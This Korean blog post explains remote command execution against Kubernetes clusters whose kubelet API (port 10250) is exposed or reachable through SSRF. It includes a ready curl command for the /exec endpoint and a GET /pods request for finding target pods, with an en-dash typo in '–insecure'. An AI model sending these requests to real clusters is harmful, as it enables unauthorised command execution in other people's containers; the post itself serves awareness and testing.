RCE with exposed k8s api

휴가중이라 피드나 트윗등을 자주 보진 못하지만 k8s RCE 관련하여 글이 있어서 가볍게 살펴보고 포스팅해봅니다.

K8S REST API

보통 k8s는 kubectl이나 lens 같이 cli 또는 IDE를 사용하여 k8s를 많이 관리하곤 합니다. 단 k8s에는 다른 시스템과의 편리한 연동성 등을 위해서 REST API로 대다수의 기능을 동일하게 제공하고 있습니다. 이러한 부분은 공격자로 하여금 좋은 포인트가 됩니다.

REST API는 k8s admin api이며 설정에 따라 달라질 순 있지만 기본적으론 10250 포트를 사용합니다.

위 이미지를 보면 해당 flag 자체는 deprecated 됬네요. 그래도 config에선 동일합니다.

Command Execute API in K8S

사실 뭐 놀라운건 아닙니다. 그냥 k8s에서 제공하는 REST API에 execute 관련 기능이 있습니다. 이를 활용하면 특정 컨테이너에 명령어를 실행할 수 있습니다.

POST /exec/<NAMESPACE>/<POD-NAME>/<CONTAINER-NAME>?command=<YOUR-CMD>&input=1&output=1&tty=1
Host: targets

물론 k8s 특성상 분명히 필요한 API라고 생각됩니다. 다만 REST API가 혹시라도 외부에 오픈되거나 SSRF 등으로 내부 요청이 가능한 경우가 있다면 쉽게 RCE까지 이어질 수 있기 때문에 조금 더 주의가 필요한건 사실입니다. (마치 Public Cloud의 Metadata API RCE 같이…)

RCE Code

curl –insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
  -H "X-Stream-Protocol-Version: channel.k8s.io" \
  -H "Connection: upgrade" \
  -H "Upgrade: SPDY/3.1" \
  -X POST \
  "https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO EXECUTE>&input=1&output=1&tty=1"

위 요청이 처리되면 websocket connection을 위한 주소(https://<DOMAIN>:<PORT>/<WS-PATH>)가 생성되며 ws 관련 클라이언트로 연결 시 CMD API의 결과 데이터를 받아볼 수 있습니다. Burpsuite, ZAP 등 대다수 분석 도구들이 ws connection 및 데이터 처리 기능은 기본적으로 가지고 있기 떄문에 바로 결과를 체크해볼 수 있습니다.

아니라면 그냥 웹 기반의 ws agent를 사용해도 무방합니다. (마치 이런 처럼)

How to find namespace/pod/container

자 그럼 가장 중요한 namespace, pod, container 정보는 어떻게 얻어야할까요? 이는 k8s api 문서, 각종 REST API 관련 문서 명시되어 있지만 아래 API를 통해 한번에 정보를 읽어올 수 있습니다.

GET /pods HTTP/1.1
Host: targets

이는 k8s REST API가 k8s cli와 동일한 구성으로 정보를 제공하기에 쉽게 얻을 수 있습니다.

Read
Reads come in 3 forms: Get, List and Watch:

Get: Get will retrieve a specific resource object by name.
List: List will retrieve all resource objects of a specific type within a namespace, and the results can be restricted to resources matching a selector query.
List All Namespaces: Like List but retrieves resources across all namespaces.
Watch: Watch will stream results for an object(s) as it is updated. Similar to a callback, watch is used to respond to resource changes.

https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/

References